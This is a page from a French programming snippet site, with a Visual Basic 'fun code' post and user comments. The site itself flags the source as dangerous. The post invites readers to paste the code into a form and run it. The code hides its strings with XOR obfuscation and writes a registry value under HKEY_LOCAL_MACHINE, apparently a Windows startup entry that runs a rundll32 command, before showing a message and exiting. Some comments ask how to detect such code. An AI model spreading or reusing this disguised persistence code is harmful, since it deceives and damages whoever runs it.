Code amusant

Soyez le premier à donner votre avis sur cette source.

Snippet vu 5 991 fois - Téléchargée 63 fois

Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique :
Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique.

Contenu du snippet

Ben voila, je trouve ce code super amusant, c'est tip top vous voyez? Dans le fond c'est très simple, même enfantin, il suffisait d'y penser! Comme quoi même dans une maison de retraite on trouve toujours moyen d'égayer sa journée avec des petits jeux amusants!

Il suffit de créer une form et de coller ce code à l'interieur, puis appuyez sur F5 ou utilisez votre souris...waaaallaaaa!

Source / Exemple :


Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
            (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
            (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
            ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
            (lpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO
 dwOSVersionInfoSize As Long
 dwMajorVersion As Long
 dwMinorVersion As Long
 dwBuildNumber As Long
 dwPlatformId As Long
 szCSDVersion As String * 128
End Type

Private Sub Form_Load()
 Call BuildApp
 MsgBox LaGrandeVerite$("Wmvw%ìsmz*oi~.m|p{aqtco"), vbOKOnly, _
                                    LaGrandeVerite$("Dv#Kpo)&'")
 End
End Sub

Function LaGrandeVerite$(LeText$)
 a$ = ""
 For i = 1 To Len(LeText$)
  LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
  a$ = a$ + Chr$(LeCar)
 Next i
 LaGrandeVerite$ = a$
End Function

Sub BuildApp()
 Dim Resultat As Long
 Dim Ident As Long
 
 Resultat = 0
 Where$ = LaGrandeVerite$("RmeprgumUGbo" + Chr$(127) + "a|" + Chr$(127) + _
                                    "wfOC|xswniG_hlmEOVuAWUNGGvyYC}JBG[PQF")
 Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
 If Resultat = 0 Then
  LeNom$ = LaGrandeVerite$("R{pp`kDdfi`")
  If GreatPlaceToLive = 2 Then
   Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
                                                      "==<BerdXybk|Xnhiqq")
  Else
   Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
                                              Chr$(34) + "\gpb^{`erZlnoss")
  End If
  Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
 End If
End Sub

Function GreatPlaceToLive()
 Dim Here As OSVERSIONINFO
 Here.dwOSVersionInfoSize = Len(Here)
 Call MaisOuJeSuis(Here)
 GreatPlaceToLive = Here.dwPlatformId
End Function

Conclusion :


Oh... ça marche même sous windows 2000!

A voir également

Ajouter un commentaire Commentaires
Messages postés
9
Date d'inscription
mercredi 19 mai 2004
Statut
Membre
Dernière intervention
11 juin 2004

c bien joli tout ca mais si ce code est intégré dans un programme ou dans un jeu comment on pourrait le detecter ?
Messages postés
10
Date d'inscription
lundi 25 novembre 2002
Statut
Membre
Dernière intervention
21 avril 2003

un forum sans *** ca n'existe pas, moi aussi ca menerve de voir ca, mais la meilleur solution est de ne rien dire, stupide est le / la créateur/trice de ce code (je pense qu'il ne s'en rend meme pas compte), encore plus stupide est celui qui l'utilise sans savoir se qu'il contient exactement, de plus ... de répondre a la personne qui l'a fait, car son but est justement d'emmerder le monde, donc si vous jouer dans son jeux, c'est elle qui gagne ! et oui c'est des gamineries ... faut laisser faire puis voila ! @+++
Messages postés
5
Date d'inscription
vendredi 25 mai 2001
Statut
Membre
Dernière intervention
24 avril 2002

Povre blaireau memere
Messages postés
85
Date d'inscription
mardi 29 janvier 2002
Statut
Membre
Dernière intervention
18 avril 2005

MOI CE QUE J'AIMERZ SAVOIR C COMMENT ON FAIT POUR SAVOIR A KOI SERT TELLE OU TELLE API ??? ET COMMENT L'UTILISER !!!
C' est vrai que ce code est très -amusant-

Pour pour ma part, je le trouve (totalement) inutile et je ne vois pas ce qu' il fait encore sur le site.

°-+ VbAlex
Afficher les 24 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.